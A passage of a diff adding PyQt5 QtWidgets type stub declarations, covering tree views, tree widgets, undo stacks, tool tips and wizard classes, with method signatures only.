None: ... + def defaultAction(self) -> QAction: ... + def popupMode(self) -> 'QToolButton.ToolButtonPopupMode': ... + def setPopupMode(self, mode: 'QToolButton.ToolButtonPopupMode') -> None: ... + def menu(self) -> QMenu: ... + def setMenu(self, menu: QMenu) -> None: ... + def setArrowType(self, type: QtCore.Qt.ArrowType) -> None: ... + def arrowType(self) -> QtCore.Qt.ArrowType: ... + def toolButtonStyle(self) -> QtCore.Qt.ToolButtonStyle: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QToolTip(sip.simplewrapper): + + def __init__(self, a0: 'QToolTip') -> None: ... + + @staticmethod + def text() -> str: ... + @staticmethod + def isVisible() -> bool: ... + @staticmethod + def setFont(a0: QtGui.QFont) -> None: ... + @staticmethod + def font() -> QtGui.QFont: ... + @staticmethod + def setPalette(a0: QtGui.QPalette) -> None: ... + @staticmethod + def hideText() -> None: ... + @staticmethod + def palette() -> QtGui.QPalette: ... + @typing.overload + @staticmethod + def showText(pos: QtCore.QPoint, text: str, widget: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + @staticmethod + def showText(pos: QtCore.QPoint, text: str, w: QWidget, rect: QtCore.QRect) -> None: ... + @typing.overload + @staticmethod + def showText(pos: QtCore.QPoint, text: str, w: QWidget, rect: QtCore.QRect, msecShowTime: int) -> None: ... + + +class QTreeView(QAbstractItemView): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def expandRecursively(self, index: QtCore.QModelIndex, depth: int = ...) -> None: ... + def resetIndentation(self) -> None: ... + def viewportSizeHint(self) -> QtCore.QSize: ... + def treePosition(self) -> int: ... + def setTreePosition(self, logicalIndex: int) -> None: ... + def setHeaderHidden(self, hide: bool) -> None: ... + def isHeaderHidden(self) -> bool: ... + def setExpandsOnDoubleClick(self, enable: bool) -> None: ... + def expandsOnDoubleClick(self) -> bool: ... + def currentChanged(self, current: QtCore.QModelIndex, previous: QtCore.QModelIndex) -> None: ... + def selectionChanged(self, selected: QtCore.QItemSelection, deselected: QtCore.QItemSelection) -> None: ... + def rowHeight(self, index: QtCore.QModelIndex) -> int: ... + def viewportEvent(self, event: QtCore.QEvent) -> bool: ... + def dragMoveEvent(self, event: QtGui.QDragMoveEvent) -> None: ... + def expandToDepth(self, depth: int) -> None: ... + def wordWrap(self) -> bool: ... + def setWordWrap(self, on: bool) -> None: ... + def setFirstColumnSpanned(self, row: int, parent: QtCore.QModelIndex, span: bool) -> None: ... + def isFirstColumnSpanned(self, row: int, parent: QtCore.QModelIndex) -> bool: ... + def setAutoExpandDelay(self, delay: int) -> None: ... + def autoExpandDelay(self) -> int: ... + def sortByColumn(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def allColumnsShowFocus(self) -> bool: ... + def setAllColumnsShowFocus(self, enable: bool) -> None: ... + def isAnimated(self) -> bool: ... + def setAnimated(self, enable: bool) -> None: ... + def isSortingEnabled(self) -> bool: ... + def setSortingEnabled(self, enable: bool) -> None: ... + def setColumnWidth(self, column: int, width: int) -> None: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def horizontalScrollbarAction(self, action: int) -> None: ... + def indexRowSizeHint(self, index: QtCore.QModelIndex) -> int: ... + def sizeHintForColumn(self, column: int) -> int: ... + def updateGeometries(self) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def mouseDoubleClickEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def drawTree(self, painter: QtGui.QPainter, region: QtGui.QRegion) -> None: ... + def drawBranches(self, painter: QtGui.QPainter, rect: QtCore.QRect, index: QtCore.QModelIndex) -> None: ... + def drawRow(self, painter: QtGui.QPainter, options: QStyleOptionViewItem, index: QtCore.QModelIndex) -> None: ... + def mouseReleaseEvent(self, event: QtGui.QMouseEvent) -> None: ... + def timerEvent(self, event: QtCore.QTimerEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def selectedIndexes(self) -> typing.List[QtCore.QModelIndex]: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def moveCursor(self, cursorAction: QAbstractItemView.CursorAction, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def rowsAboutToBeRemoved(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def rowsInserted(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def rowsRemoved(self, parent: QtCore.QModelIndex, first: int, last: int) -> None: ... + def reexpand(self) -> None: ... + def columnMoved(self) -> None: ... + def columnCountChanged(self, oldCount: int, newCount: int) -> None: ... + def columnResized(self, column: int, oldSize: int, newSize: int) -> None: ... + def selectAll(self) -> None: ... + def resizeColumnToContents(self, column: int) -> None: ... + def collapseAll(self) -> None: ... + def collapse(self, index: QtCore.QModelIndex) -> None: ... + def expandAll(self) -> None: ... + def expand(self, index: QtCore.QModelIndex) -> None: ... + def showColumn(self, column: int) -> None: ... + def hideColumn(self, column: int) -> None: ... + def dataChanged(self, topLeft: QtCore.QModelIndex, bottomRight: QtCore.QModelIndex, roles: typing.Iterable[int] = ...) -> None: ... + def collapsed(self, index: QtCore.QModelIndex) -> None: ... + def expanded(self, index: QtCore.QModelIndex) -> None: ... + def reset(self) -> None: ... + def indexBelow(self, index: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def indexAbove(self, index: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def indexAt(self, p: QtCore.QPoint) -> QtCore.QModelIndex: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def keyboardSearch(self, search: str) -> None: ... + def setExpanded(self, index: QtCore.QModelIndex, expand: bool) -> None: ... + def isExpanded(self, index: QtCore.QModelIndex) -> bool: ... + def setRowHidden(self, row: int, parent: QtCore.QModelIndex, hide: bool) -> None: ... + def isRowHidden(self, row: int, parent: QtCore.QModelIndex) -> bool: ... + def setColumnHidden(self, column: int, hide: bool) -> None: ... + def isColumnHidden(self, column: int) -> bool: ... + def columnAt(self, x: int) -> int: ... + def columnWidth(self, column: int) -> int: ... + def columnViewportPosition(self, column: int) -> int: ... + def setItemsExpandable(self, enable: bool) -> None: ... + def itemsExpandable(self) -> bool: ... + def setUniformRowHeights(self, uniform: bool) -> None: ... + def uniformRowHeights(self) -> bool: ... + def setRootIsDecorated(self, show: bool) -> None: ... + def rootIsDecorated(self) -> bool: ... + def setIndentation(self, i: int) -> None: ... + def indentation(self) -> int: ... + def setHeader(self, header: QHeaderView) -> None: ... + def header(self) -> QHeaderView: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + + +class QTreeWidgetItem(PyQt5.sip.wrapper): + + class ChildIndicatorPolicy(int): + ShowIndicator = ... # type: QTreeWidgetItem.ChildIndicatorPolicy + DontShowIndicator = ... # type: QTreeWidgetItem.ChildIndicatorPolicy + DontShowIndicatorWhenChildless = ... # type: QTreeWidgetItem.ChildIndicatorPolicy + + class ItemType(int): + Type = ... # type: QTreeWidgetItem.ItemType + UserType = ... # type: QTreeWidgetItem.ItemType + + @typing.overload + def __init__(self, type: int = ...) -> None: ... + @typing.overload + def __init__(self, strings: typing.Iterable[str], type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidget', type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidget', strings: typing.Iterable[str], type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidget', preceding: 'QTreeWidgetItem', type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidgetItem', type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidgetItem', strings: typing.Iterable[str], type: int = ...) -> None: ... + @typing.overload + def __init__(self, parent: 'QTreeWidgetItem', preceding: 'QTreeWidgetItem', type: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QTreeWidgetItem') -> None: ... + + def emitDataChanged(self) -> None: ... + def isDisabled(self) -> bool: ... + def setDisabled(self, disabled: bool) -> None: ... + def isFirstColumnSpanned(self) -> bool: ... + def setFirstColumnSpanned(self, aspan: bool) -> None: ... + def removeChild(self, child: 'QTreeWidgetItem') -> None: ... + def childIndicatorPolicy(self) -> 'QTreeWidgetItem.ChildIndicatorPolicy': ... + def setChildIndicatorPolicy(self, policy: 'QTreeWidgetItem.ChildIndicatorPolicy') -> None: ... + def isExpanded(self) -> bool: ... + def setExpanded(self, aexpand: bool) -> None: ... + def isHidden(self) -> bool: ... + def setHidden(self, ahide: bool) -> None: ... + def isSelected(self) -> bool: ... + def setSelected(self, aselect: bool) -> None: ... + def sortChildren(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def setForeground(self, column: int, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def foreground(self, column: int) -> QtGui.QBrush: ... + def setBackground(self, column: int, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def background(self, column: int) -> QtGui.QBrush: ... + def takeChildren(self) -> typing.List['QTreeWidgetItem']: ... + def insertChildren(self, index: int, children: typing.Iterable['QTreeWidgetItem']) -> None: ... + def addChildren(self, children: typing.Iterable['QTreeWidgetItem']) -> None: ... + def setSizeHint(self, column: int, size: QtCore.QSize) -> None: ... + def sizeHint(self, column: int) -> QtCore.QSize: ... + def indexOfChild(self, achild: 'QTreeWidgetItem') -> int: ... + def setFont(self, column: int, afont: QtGui.QFont) -> None: ... + def setWhatsThis(self, column: int, awhatsThis: str) -> None: ... + def setToolTip(self, column: int, atoolTip: str) -> None: ... + def setStatusTip(self, column: int, astatusTip: str) -> None: ... + def setIcon(self, column: int, aicon: QtGui.QIcon) -> None: ... + def setText(self, column: int, atext: str) -> None: ... + def setFlags(self, aflags: typing.Union[QtCore.Qt.ItemFlags, QtCore.Qt.ItemFlag]) -> None: ... + def type(self) -> int: ... + def takeChild(self, index: int) -> 'QTreeWidgetItem': ... + def insertChild(self, index: int, child: 'QTreeWidgetItem') -> None: ... + def addChild(self, child: 'QTreeWidgetItem') -> None: ... + def columnCount(self) -> int: ... + def childCount(self) -> int: ... + def child(self, index: int) -> 'QTreeWidgetItem': ... + def parent(self) -> 'QTreeWidgetItem': ... + def write(self, out: QtCore.QDataStream) -> None: ... + def read(self, in_: QtCore.QDataStream) -> None: ... + def setData(self, column: int, role: int, value: typing.Any) -> None: ... + def data(self, column: int, role: int) -> typing.Any: ... + def setCheckState(self, column: int, state: QtCore.Qt.CheckState) -> None: ... + def checkState(self, column: int) -> QtCore.Qt.CheckState: ... + def setTextAlignment(self, column: int, alignment: int) -> None: ... + def textAlignment(self, column: int) -> int: ... + def font(self, column: int) -> QtGui.QFont: ... + def whatsThis(self, column: int) -> str: ... + def toolTip(self, column: int) -> str: ... + def statusTip(self, column: int) -> str: ... + def icon(self, column: int) -> QtGui.QIcon: ... + def text(self, column: int) -> str: ... + def flags(self) -> QtCore.Qt.ItemFlags: ... + def treeWidget(self) -> 'QTreeWidget': ... + def clone(self) -> 'QTreeWidgetItem': ... + + +class QTreeWidget(QTreeView): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def isPersistentEditorOpen(self, item: QTreeWidgetItem, column: int = ...) -> bool: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def removeItemWidget(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemBelow(self, item: QTreeWidgetItem) -> QTreeWidgetItem: ... + def itemAbove(self, item: QTreeWidgetItem) -> QTreeWidgetItem: ... + def setFirstItemColumnSpanned(self, item: QTreeWidgetItem, span: bool) -> None: ... + def isFirstItemColumnSpanned(self, item: QTreeWidgetItem) -> bool: ... + def setHeaderLabel(self, alabel: str) -> None: ... + def invisibleRootItem(self) -> QTreeWidgetItem: ... + def dropEvent(self, event: QtGui.QDropEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def itemFromIndex(self, index: QtCore.QModelIndex) -> QTreeWidgetItem: ... + def indexFromItem(self, item: QTreeWidgetItem, column: int = ...) -> QtCore.QModelIndex: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def dropMimeData(self, parent: QTreeWidgetItem, index: int, data: QtCore.QMimeData, action: QtCore.Qt.DropAction) -> bool: ... + def mimeData(self, items: typing.Iterable[QTreeWidgetItem]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def itemSelectionChanged(self) -> None: ... + def currentItemChanged(self, current: QTreeWidgetItem, previous: QTreeWidgetItem) -> None: ... + def itemCollapsed(self, item: QTreeWidgetItem) -> None: ... + def itemExpanded(self, item: QTreeWidgetItem) -> None: ... + def itemChanged(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemEntered(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemActivated(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemDoubleClicked(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemClicked(self, item: QTreeWidgetItem, column: int) -> None: ... + def itemPressed(self, item: QTreeWidgetItem, column: int) -> None: ... + def clear(self) -> None: ... + def collapseItem(self, item: QTreeWidgetItem) -> None: ... + def expandItem(self, item: QTreeWidgetItem) -> None: ... + def scrollToItem(self, item: QTreeWidgetItem, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def findItems(self, text: str, flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag], column: int = ...) -> typing.List[QTreeWidgetItem]: ... + def selectedItems(self) -> typing.List[QTreeWidgetItem]: ... + def setItemWidget(self, item: QTreeWidgetItem, column: int, widget: QWidget) -> None: ... + def itemWidget(self, item: QTreeWidgetItem, column: int) -> QWidget: ... + def closePersistentEditor(self, item: QTreeWidgetItem, column: int = ...) -> None: ... + def openPersistentEditor(self, item: QTreeWidgetItem, column: int = ...) -> None: ... + def editItem(self, item: QTreeWidgetItem, column: int = ...) -> None: ... + def sortItems(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def sortColumn(self) -> int: ... + def visualItemRect(self, item: QTreeWidgetItem) -> QtCore.QRect: ... + @typing.overload + def itemAt(self, p: QtCore.QPoint) -> QTreeWidgetItem: ... + @typing.overload + def itemAt(self, ax: int, ay: int) -> QTreeWidgetItem: ... + @typing.overload + def setCurrentItem(self, item: QTreeWidgetItem) -> None: ... + @typing.overload + def setCurrentItem(self, item: QTreeWidgetItem, column: int) -> None: ... + @typing.overload + def setCurrentItem(self, item: QTreeWidgetItem, column: int, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def currentColumn(self) -> int: ... + def currentItem(self) -> QTreeWidgetItem: ... + def setHeaderLabels(self, labels: typing.Iterable[str]) -> None: ... + def setHeaderItem(self, item: QTreeWidgetItem) -> None: ... + def headerItem(self) -> QTreeWidgetItem: ... + def addTopLevelItems(self, items: typing.Iterable[QTreeWidgetItem]) -> None: ... + def insertTopLevelItems(self, index: int, items: typing.Iterable[QTreeWidgetItem]) -> None: ... + def indexOfTopLevelItem(self, item: QTreeWidgetItem) -> int: ... + def takeTopLevelItem(self, index: int) -> QTreeWidgetItem: ... + def addTopLevelItem(self, item: QTreeWidgetItem) -> None: ... + def insertTopLevelItem(self, index: int, item: QTreeWidgetItem) -> None: ... + def topLevelItemCount(self) -> int: ... + def topLevelItem(self, index: int) -> QTreeWidgetItem: ... + def setColumnCount(self, columns: int) -> None: ... + def columnCount(self) -> int: ... + + +class QTreeWidgetItemIterator(sip.simplewrapper): + + class IteratorFlag(int): + All = ... # type: QTreeWidgetItemIterator.IteratorFlag + Hidden = ... # type: QTreeWidgetItemIterator.IteratorFlag + NotHidden = ... # type: QTreeWidgetItemIterator.IteratorFlag + Selected = ... # type: QTreeWidgetItemIterator.IteratorFlag + Unselected = ... # type: QTreeWidgetItemIterator.IteratorFlag + Selectable = ... # type: QTreeWidgetItemIterator.IteratorFlag + NotSelectable = ... # type: QTreeWidgetItemIterator.IteratorFlag + DragEnabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + DragDisabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + DropEnabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + DropDisabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + HasChildren = ... # type: QTreeWidgetItemIterator.IteratorFlag + NoChildren = ... # type: QTreeWidgetItemIterator.IteratorFlag + Checked = ... # type: QTreeWidgetItemIterator.IteratorFlag + NotChecked = ... # type: QTreeWidgetItemIterator.IteratorFlag + Enabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + Disabled = ... # type: QTreeWidgetItemIterator.IteratorFlag + Editable = ... # type: QTreeWidgetItemIterator.IteratorFlag + NotEditable = ... # type: QTreeWidgetItemIterator.IteratorFlag + UserFlag = ... # type: QTreeWidgetItemIterator.IteratorFlag + + class IteratorFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTreeWidgetItemIterator.IteratorFlags', 'QTreeWidgetItemIterator.IteratorFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTreeWidgetItemIterator.IteratorFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTreeWidgetItemIterator.IteratorFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, it: 'QTreeWidgetItemIterator') -> None: ... + @typing.overload + def __init__(self, widget: QTreeWidget, flags: 'QTreeWidgetItemIterator.IteratorFlags' = ...) -> None: ... + @typing.overload + def __init__(self, item: QTreeWidgetItem, flags: 'QTreeWidgetItemIterator.IteratorFlags' = ...) -> None: ... + + def value(self) -> QTreeWidgetItem: ... + + +class QUndoGroup(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def undoTextChanged(self, undoText: str) -> None: ... + def redoTextChanged(self, redoText: str) -> None: ... + def indexChanged(self, idx: int) -> None: ... + def cleanChanged(self, clean: bool) -> None: ... + def canUndoChanged(self, canUndo: bool) -> None: ... + def canRedoChanged(self, canRedo: bool) -> None: ... + def activeStackChanged(self, stack: 'QUndoStack') -> None: ... + def undo(self) -> None: ... + def setActiveStack(self, stack: 'QUndoStack') -> None: ... + def redo(self) -> None: ... + def isClean(self) -> bool: ... + def redoText(self) -> str: ... + def undoText(self) -> str: ... + def canRedo(self) -> bool: ... + def canUndo(self) -> bool: ... + def createUndoAction(self, parent: QtCore.QObject, prefix: str = ...) -> QAction: ... + def createRedoAction(self, parent: QtCore.QObject, prefix: str = ...) -> QAction: ... + def activeStack(self) -> 'QUndoStack': ... + def stacks(self) -> typing.List['QUndoStack']: ... + def removeStack(self, stack: 'QUndoStack') -> None: ... + def addStack(self, stack: 'QUndoStack') -> None: ... + + +class QUndoCommand(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self, parent: typing.Optional['QUndoCommand'] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional['QUndoCommand'] = ...) -> None: ... + + def setObsolete(self, obsolete: bool) -> None: ... + def isObsolete(self) -> bool: ... + def actionText(self) -> str: ... + def child(self, index: int) -> 'QUndoCommand': ... + def childCount(self) -> int: ... + def undo(self) -> None: ... + def text(self) -> str: ... + def setText(self, text: str) -> None: ... + def redo(self) -> None: ... + def mergeWith(self, other: 'QUndoCommand') -> bool: ... + def id(self) -> int: ... + + +class QUndoStack(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def command(self, index: int) -> QUndoCommand: ... + def undoLimit(self) -> int: ... + def setUndoLimit(self, limit: int) -> None: ... + def undoTextChanged(self, undoText: str) -> None: ... + def redoTextChanged(self, redoText: str) -> None: ... + def indexChanged(self, idx: int) -> None: ... + def cleanChanged(self, clean: bool) -> None: ... + def canUndoChanged(self, canUndo: bool) -> None: ... + def canRedoChanged(self, canRedo: bool) -> None: ... + def resetClean(self) -> None: ... + def undo(self) -> None: ... + def setIndex(self, idx: int) -> None: ... + def setClean(self) -> None: ... + def setActive(self, active: bool = ...) -> None: ... + def redo(self) -> None: ... + def endMacro(self) -> None: ... + def beginMacro(self, text: str) -> None: ... + def cleanIndex(self) -> int: ... + def isClean(self) -> bool: ... + def isActive(self) -> bool: ... + def createRedoAction(self, parent: QtCore.QObject, prefix: str = ...) -> QAction: ... + def createUndoAction(self, parent: QtCore.QObject, prefix: str = ...) -> QAction: ... + def text(self, idx: int) -> str: ... + def index(self) -> int: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def redoText(self) -> str: ... + def undoText(self) -> str: ... + def canRedo(self) -> bool: ... + def canUndo(self) -> bool: ... + def push(self, cmd: QUndoCommand) -> None: ... + def clear(self) -> None: ... + + +class QUndoView(QListView): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, stack: QUndoStack, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, group: QUndoGroup, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setGroup(self, group: QUndoGroup) -> None: ... + def setStack(self, stack: QUndoStack) -> None: ... + def cleanIcon(self) -> QtGui.QIcon: ... + def setCleanIcon(self, icon: QtGui.QIcon) -> None: ... + def emptyLabel(self) -> str: ... + def setEmptyLabel(self, label: str) -> None: ... + def group(self) -> QUndoGroup: ... + def stack(self) -> QUndoStack: ... + + +class QWhatsThis(sip.simplewrapper): + + def __init__(self, a0: 'QWhatsThis') -> None: ... + + @staticmethod + def createAction(parent: typing.Optional[QtCore.QObject] = ...) -> QAction: ... + @staticmethod + def hideText() -> None: ... + @staticmethod + def showText(pos: QtCore.QPoint, text: str, widget: typing.Optional[QWidget] = ...) -> None: ... + @staticmethod + def leaveWhatsThisMode() -> None: ... + @staticmethod + def inWhatsThisMode() -> bool: ... + @staticmethod + def enterWhatsThisMode() -> None: ... + + +class QWidgetAction(QAction): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def createdWidgets(self) -> typing.List[QWidget]: ... + def deleteWidget(self, widget: QWidget) -> None: ... + def createWidget(self, parent: QWidget) -> QWidget: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def releaseWidget(self, widget: QWidget) -> None: ... + def requestWidget(self, parent: QWidget) -> QWidget: ... + def defaultWidget(self) -> QWidget: ... + def setDefaultWidget(self, w: QWidget) -> None: ... + + +class QWizard(QDialog): + + class WizardOption(int): + IndependentPages = ... # type: QWizard.WizardOption + IgnoreSubTitles = ... # type: QWizard.WizardOption + ExtendedWatermarkPixmap = ... # type: QWizard.WizardOption + NoDefaultButton = ... # type: QWizard.WizardOption + NoBackButtonOnStartPage = ... # type: QWizard.WizardOption + NoBackButtonOnLastPage = ... # type: QWizard.WizardOption + DisabledBackButtonOnLastPage = ... # type: QWizard.WizardOption + HaveNextButtonOnLastPage = ... # type: QWizard.WizardOption + HaveFinishButtonOnEarlyPages = ... # type: QWizard.WizardOption + NoCancelButton = ... # type: QWizard.WizardOption + CancelButtonOnLeft = ... # type: QWizard.WizardOption + HaveHelpButton = ... # type: QWizard.WizardOption + HelpButtonOnRight = ... # type: QWizard.WizardOption + HaveCustomButton1 = ... # type: QWizard.WizardOption + HaveCustomButton2 = ... # type: QWizard.WizardOption + HaveCustomButton3 = ... # type: QWizard.WizardOption + NoCancelButtonOnLastPage = ... # type: QWizard.WizardOption + + class WizardStyle(int): + ClassicStyle = ... # type: QWizard.WizardStyle + ModernStyle = ... # type: QWizard.WizardStyle + MacStyle = ... # type: QWizard.WizardStyle + AeroStyle = ... # type: QWizard.WizardStyle + + class WizardPixmap(int): + WatermarkPixmap = ... # type: QWizard.WizardPixmap + LogoPixmap = ... # type: QWizard.WizardPixmap + BannerPixmap = ... # type: QWizard.WizardPixmap + BackgroundPixmap = ... # type: QWizard.WizardPixmap + + class WizardButton(int): + BackButton = ... # type: QWizard.WizardButton + NextButton = ... # type: QWizard.WizardButton + CommitButton = ... # type: QWizard.WizardButton + FinishButton = ... # type: QWizard.WizardButton + CancelButton = ... # type: QWizard.WizardButton + HelpButton = ... # type: QWizard.WizardButton + CustomButton1 = ... # type: QWizard.WizardButton + CustomButton2 = ... # type: QWizard.WizardButton + CustomButton3 = ... # type: QWizard.WizardButton + Stretch = ... # type: QWizard.WizardButton + + class WizardOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QWizard.WizardOptions', 'QWizard.WizardOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QWizard.WizardOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QWizard.WizardOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def visitedIds(self) -> typing.List[int]: ... + def pageRemoved(self, id: int) -> None: ... + def pageAdded(self, id: int) -> None: ... + def sideWidget(self) -> QWidget: ... + def setSideWidget(self, widget: QWidget) -> None: ... + def pageIds(self) -> typing.List[int]: ... + def removePage(self, id: int) -> None: ... + def cleanupPage(self, id: int) -> None: ... + def initializePage(self, id: int) -> None: ... + def done(self, result: int) -> None: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, event: QtGui.QResizeEvent) -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def restart(self) -> None: ... + def next(self) -> None: ... + def back(self) -> None: ... + def customButtonClicked(self, which: int) -> None: ... + def helpRequested(self) -> None: ... + def currentIdChanged(self, id: int) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def setVisible(self, visible: bool) -> None: ... + def setDefaultProperty(self, className: str, property: str, changedSignal: PYQT_SIGNAL) -> None: ... + def pixmap(self, which: 'QWizard.WizardPixmap') -> QtGui.QPixmap: ... + def setPixmap(self, which: 'QWizard.WizardPixmap', pixmap: QtGui.QPixmap) -> None: ... + def subTitleFormat(self) -> QtCore.Qt.TextFormat: ... + def setSubTitleFormat(self, format: QtCore.Qt.TextFormat) -> None: ... + def titleFormat(self) -> QtCore.Qt.TextFormat: ... + def setTitleFormat(self, format: QtCore.Qt.TextFormat) -> None: ... + def button(self, which: 'QWizard.WizardButton') -> QAbstractButton: ... + def setButton(self, which: 'QWizard.WizardButton', button: QAbstractButton) -> None: ... + def setButtonLayout(self, layout: typing.Iterable['QWizard.WizardButton']) -> None: ... + def buttonText(self, which: 'QWizard.WizardButton') -> str: ... + def setButtonText(self, which: 'QWizard.WizardButton', text: str) -> None: ... + def options(self) -> 'QWizard.WizardOptions': ... + def setOptions(self, options: typing.Union['QWizard.WizardOptions', 'QWizard.WizardOption']) -> None: ... + def testOption(self, option: 'QWizard.WizardOption') -> bool: ... + def setOption(self, option: 'QWizard.WizardOption', on: bool = ...) -> None: ... + def wizardStyle(self) -> 'QWizard.WizardStyle': ... + def setWizardStyle(self, style: 'QWizard.WizardStyle') -> None: ... + def field(self, name: str) -> typing.Any: ... + def setField(self, name: str, value: typing.Any) -> None: ... + def nextId(self) -> int: ... + def validateCurrentPage(self) -> bool: ... + def currentId(self) -> int: ... + def currentPage(self) -> 'QWizardPage': ... + def startId(self) -> int: ... + def setStartId(self, id: int) -> None: ... + def visitedPages(self) -> typing.List[int]: ... + def hasVisitedPage(self, id: int) -> bool: ... + def page(self, id: int) -> 'QWizardPage': ... + def setPage(self, id: int, page: 'QWizardPage') -> None: ... + def addPage(self, page: 'QWizardPage') -> int: ... + + +class QWizardPage(QWidget): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def wizard(self) -> QWizard: ... + def registerField(self, name: str, widget: QWidget, property: typing.Optional[str] = ..., changedSignal: PYQT_SIGNAL = ...) -> None: ... + def field(self, name: str) -> typing.Any: ... + def setField(self, name: str, value: typing.Any) -> None: ... + def completeChanged(self) -> None: ... + def nextId(self) -> int: ... + def isComplete(self) -> bool: ... + def validatePage(self) -> bool: ... + def cleanupPage(self) -> None: ... + def initializePage(self) -> None: ... + def buttonText(self, which: QWizard.WizardButton) -> str: ... + def setButtonText(self, which: QWizard.WizardButton, text: str) -> None: ... + def isCommitPage(self) -> bool: ... + def setCommitPage(self, commitPage: bool) -> None: ... + def isFinalPage(self) -> bool: ... + def setFinalPage(self, finalPage: bool) -> None: ... + def pixmap(self, which: QWizard.WizardPixmap) -> QtGui.QPixmap: ... + def setPixmap(self, which: QWizard.WizardPixmap, pixmap: QtGui.QPixmap) -> None: ... + def subTitle(self) -> str: ... + def setSubTitle(self, subTitle: str) -> None: ... + def title(self) -> str: ... + def setTitle(self, title: str) -> None: ... + + +QWIDGETSIZE_MAX = ... # type: int +qApp = ... # type: QApplication + + +def qDrawBorderPixmap(painter: 